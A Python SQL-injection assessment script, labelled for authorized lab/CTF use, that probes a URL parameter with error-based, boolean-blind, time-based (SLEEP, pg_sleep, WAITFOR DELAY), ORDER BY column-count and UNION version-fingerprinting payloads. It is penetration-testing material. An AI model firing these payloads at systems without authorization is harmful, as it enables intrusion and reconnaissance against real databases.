#!/usr/bin/env python3 # For authorized testing in lab/CTF environments only """SQL injection detection agent using requests for manual technique-based testing.""" import argparse import json import logging import sys import time import re from typing import List, Optional try: import requests except ImportError: sys.exit("requests is required: pip install requests") logging.basicConfig(level=logging.INFO, format="%(asctime)s [%(levelname)s] %(message)s") logger = logging.getLogger(__name__) SQL_ERRORS = { "mysql": [r"SQL syntax.*MySQL", r"Warning.*mysql_", r"MySQLSyntaxErrorException"], "postgresql": [r"ERROR:\s+syntax error", r"pg_query\(\)", r"PSQLException"], "mssql": [r"SQL Server.*Driver", r"OLE DB.*SQL Server", r"SQLServerException"], "oracle": [r"ORA-\d{5}", r"Oracle.*Driver", r"quoted string not properly terminated"], "sqlite": [r"SQLite/JDBCDriver", r"SQLite\.Exception", r"System\.Data\.SQLite"], } def detect_error_based(url: str, param: str, method: str = "GET", headers: Optional[dict] = None) -> dict: """Inject a single quote to detect SQL errors in the response.""" payload = "'" test_url, data = _build_request(url, param, payload, method) resp = _send(test_url, method, data, headers) db_type = None error_found = False for db, patterns in SQL_ERRORS.items(): for pattern in patterns: if re.search(pattern, resp.text, re.IGNORECASE): db_type = db error_found = True break if error_found: break return { "technique": "error_based", "parameter": param, "injectable": error_found, "database": db_type, "status_code": resp.status_code, } def detect_boolean_based(url: str, param: str, method: str = "GET", headers: Optional[dict] = None) -> dict: """Test boolean-based blind SQLi with true/false conditions.""" baseline_resp = _send(*_build_request(url, param, "1", method), headers) true_resp = _send(*_build_request(url, param, "1 AND 1=1--", method), headers) false_resp = _send(*_build_request(url, param, "1 AND 1=2--", method), headers) true_match = len(true_resp.content) == len(baseline_resp.content) false_diff = abs(len(false_resp.content) - len(baseline_resp.content)) > 10 return { "technique": "boolean_based", "parameter": param, "injectable": true_match and false_diff, "baseline_length": len(baseline_resp.content), "true_length": len(true_resp.content), "false_length": len(false_resp.content), } def detect_time_based(url: str, param: str, method: str = "GET", headers: Optional[dict] = None, delay: int = 5) -> dict: """Test time-based blind SQLi with sleep functions.""" payloads = { "mysql": f"1 AND SLEEP({delay})--", "postgresql": f"1; SELECT pg_sleep({delay})--", "mssql": f"1; WAITFOR DELAY '0:0:{delay}'--", } results = {} for db, payload in payloads.items(): start = time.time() _send(*_build_request(url, param, payload, method), headers) elapsed = time.time() - start results[db] = {"elapsed": round(elapsed, 2), "delayed": elapsed >= delay - 1} injectable = any(r["delayed"] for r in results.values()) detected_db = next((db for db, r in results.items() if r["delayed"]), None) return { "technique": "time_based", "parameter": param, "injectable": injectable, "database": detected_db, "delay_target": delay, "timing_results": results, } def detect_union_columns(url: str, param: str, method: str = "GET", headers: Optional[dict] = None, max_cols: int = 20) -> dict: """Determine the number of columns for UNION-based injection.""" for n in range(1, max_cols + 1): payload = f"1 ORDER BY {n}--" resp = _send(*_build_request(url, param, payload, method), headers) if resp.status_code >= 400 or "error" in resp.text.lower(): return {"technique": "union_column_count", "parameter": param, "columns": n - 1} return {"technique": "union_column_count", "parameter": param, "columns": None} def fingerprint_database(url: str, param: str, method: str = "GET", headers: Optional[dict] = None) -> dict: """Identify the database engine using version functions.""" version_payloads = { "mysql": "1 UNION SELECT @@version,NULL--", "postgresql": "1 UNION SELECT version(),NULL--", "mssql": "1 UNION SELECT @@version,NULL--", } for db, payload in version_payloads.items(): resp = _send(*_build_request(url, param, payload, method), headers) if resp.status_code == 200 and len(resp.content) > 50: return {"database": db, "response_preview": resp.text[:200]} return {"database": "unknown"} def _build_request(url: str, param: str, value: str, method: str): if method.upper() == "GET": separator = "&" if "?" in url else "?" return f"{url}{separator}{param}={requests.utils.quote(value)}", None else: return url, {param: value} def _send(url: str, method: str = "GET", data: Optional[dict] = None, headers: Optional[dict] = None) -> requests.Response: h = headers or {} try: if method.upper() == "POST": return requests.post(url, data=data, headers=h, timeout=15, verify=False) return requests.get(url, headers=h, timeout=15, verify=False) except requests.RequestException: return type("FakeResp", (), {"status_code": 0, "text": "", "content": b""})() def run_assessment(url: str, param: str, method: str = "GET") -> dict: """Run complete SQL injection assessment.""" error = detect_error_based(url, param, method) boolean = detect_boolean_based(url, param, method) timing = detect_time_based(url, param, method) columns = detect_union_columns(url, param, method) if error["injectable"] else {} injectable = error["injectable"] or boolean["injectable"] or timing["injectable"] findings = [] if error["injectable"]: findings.append(f"CRITICAL: Error-based SQLi confirmed (DB: {error['database']})") if boolean["injectable"]: findings.append("CRITICAL: Boolean-based blind SQLi confirmed") if timing["injectable"]: findings.append(f"CRITICAL: Time-based blind SQLi confirmed (DB: {timing['database']})") return { "target": url, "parameter": param, "injectable": injectable, "error_based": error, "boolean_based": boolean, "time_based": timing, "union_columns": columns, "findings": findings, } def main(): parser = argparse.ArgumentParser(description="SQL Injection Detection Agent") parser.add_argument("--url", required=True, help="Target URL") parser.add_argument("--param", required=True, help="Parameter to test") parser.add_argument("--method", default="GET", choices=["GET", "POST"]) parser.add_argument("--output", default="sqli_report.json") args = parser.parse_args() report = run_assessment(args.url, args.param, args.method) with open(args.output, "w") as f: json.dump(report, f, indent=2) logger.info("Report saved to %s", args.output) print(json.dumps(report, indent=2)) if __name__ == "__main__": main()